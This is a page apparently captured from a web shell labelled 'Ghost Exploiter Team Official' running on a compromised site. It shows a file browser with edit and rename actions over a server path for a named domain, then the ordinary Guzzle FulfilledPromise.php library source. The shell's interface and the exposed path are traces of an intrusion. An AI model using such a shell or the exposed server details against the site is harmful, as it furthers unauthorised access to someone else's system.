webshell

Ghost Exploiter Team Official

Directory >> /home/aminiwrc/listing.aminikamanpower.com/vendor/guzzlehttp/promises/src/

File / Folder	Size	Action
.	-
AggregateException.php	0.371KB	edt ren
CancellationException.php	0.179KB	edt ren
Coroutine.php	4.244KB	edt ren
Create.php	2.063KB	edt ren
Each.php	2.819KB	edt ren
EachPromise.php	7.599KB	edt ren
FulfilledPromise.php	1.944KB	edt ren
Is.php	0.976KB	edt ren
Promise.php	8.734KB	edt ren
PromiseInterface.php	2.785KB	edt ren
PromisorInterface.php	0.238KB	edt ren
RejectedPromise.php	2.23KB	edt ren
RejectionException.php	1.189KB	edt ren
TaskQueue.php	1.895KB	edt ren
TaskQueueInterface.php	0.423KB	edt ren
Utils.php	8.5KB	edt ren
error_log	49.19KB	edt ren
functions.php	9.891KB	edt ren
functions_include.php	0.163KB	edt ren

<?php

namespace GuzzleHttp\Promise;

/**
 * A promise that has been fulfilled.
 *
 * Thenning off of this promise will invoke the onFulfilled callback
 * immediately and ignore other callbacks.
 */
class FulfilledPromise implements PromiseInterface
{
    private $value;

public function __construct($value)
    {
        if (is_object($value) && method_exists($value, 'then')) {
            throw new \InvalidArgumentException(
                'You cannot create a FulfilledPromise with a promise.'
            );
        }

$this->value = $value;
    }

public function then(
        callable $onFulfilled = null,
        callable $onRejected = null
    ) {
        // Return itself if there is no onFulfilled function.
        if (!$onFulfilled) {
            return $this;
        }

$queue = Utils::queue();
        $p = new Promise([$queue, 'run']);
        $value = $this->value;
        $queue->add(static function () use ($p, $value, $onFulfilled) {
            if (Is::pending($p)) {
                try {
                    $p->resolve($onFulfilled($value));
                } catch (\Throwable $e) {
                    $p->reject($e);
                } catch (\Exception $e) {
                    $p->reject($e);
                }
            }
        });

return $p;
    }

public function otherwise(callable $onRejected)
    {
        return $this->then(null, $onRejected);
    }

public function wait($unwrap = true, $defaultDelivery = null)
    {
        return $unwrap ? $this->value : null;
    }

public function getState()
    {
        return self::FULFILLED;
    }

public function resolve($value)
    {
        if ($value !== $this->value) {
            throw new \LogicException("Cannot resolve a fulfilled promise");
        }
    }

public function reject($reason)
    {
        throw new \LogicException("Cannot reject a fulfilled promise");
    }

public function cancel()
    {
        // pass
    }
}

<=Back